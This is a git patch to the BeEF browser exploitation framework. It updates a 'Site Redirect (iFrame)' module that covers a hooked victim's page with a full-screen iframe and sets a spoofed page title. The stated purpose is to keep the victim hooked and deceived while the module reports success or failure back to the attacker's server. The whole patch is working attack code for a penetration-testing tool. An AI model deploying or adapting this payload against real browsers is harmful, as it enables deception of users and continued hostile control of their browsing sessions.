From 4d5f51fbe5fedf7996edcb11cc086a8b84ecc4a4 Mon Sep 17 00:00:00 2001 From: "yori.kvitchko" Date: Sat, 18 Dec 2010 01:05:23 +0000 Subject: [PATCH] jQuery based iframe redirect with title set and timeout for failure callback git-svn-id: https://beef.googlecode.com/svn/trunk@618 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../site_redirect_iframe.js | 27 ++++++++++--------- .../site_redirect_iframe.rb | 8 +++--- 2 files changed, 20 insertions(+), 15 deletions(-) diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js index 0d8956cf0..59b507ee3 100644 --- a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js @@ -1,18 +1,21 @@ beef.execute(function() { - - /* - TODO: - Automatically get and set iframe title. - */ - var result = 'Iframe successfully created!' - var title = ''; + var result = 'Iframe successfully created!'; + var title = '<%= @iframe_title %>'; var iframe_src = '<%= @iframe_src %>'; - var favicon = iframe_src + '/favicon.ico'; + var sent = false; -// document.write('' + title + ''); + $j("iframe").remove(); + + beef.dom.createIframe('fullscreen', {}, iframe_src, function() { if(!sent) { sent = true; document.title = title; beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); } }); - document.write(''); + setTimeout(function() { + if(!sent) { + result = 'Iframe failed to load, timeout'; + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); + document.title = iframe_src + " is not available"; + sent = true; + } + }, <%= @iframe_timeout %>); - beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); +}); \ No newline at end of file diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb index f4d3a1087..582fad5d8 100644 --- a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb +++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb @@ -11,11 +11,13 @@ class Site_redirect_iframe < BeEF::Command def initialize super({ 'Name' => 'Site Redirect (iFrame)', - 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked.', + 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.', 'Category' => 'Browser', - 'Author' => 'ethicalhack3r', + 'Author' => ['ethicalhack3r, Yori Kvitchko'], 'Data' => [ - ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'] + ['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'], + ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'], + ['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px'] ], 'File' => __FILE__, 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }